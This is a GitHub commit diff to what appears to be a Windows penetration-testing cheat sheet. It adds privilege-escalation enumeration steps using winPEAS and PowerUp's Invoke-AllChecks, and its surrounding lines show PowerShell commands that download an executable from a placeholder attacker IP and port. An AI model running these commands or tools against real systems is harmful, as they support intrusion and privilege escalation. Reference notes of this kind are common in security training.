Update Cheat Sheet.md

This commit is contained in:
ARZ 2021-04-29 10:42:24 +05:00 committed by GitHub
parent 688c7cc4ce
commit 1f6e0da36f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -275,6 +275,12 @@ dir /a:h `show only hidden files`<br/>
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
## Enumeration
* Running `winPEAS.exe` on the machine
* Running `PowerUp.ps1` (https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) , documentation https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ `. .\PowerUp.ps1` Then `Invoke-AllChecks`
## List Drives
`wmic logicaldisk get caption`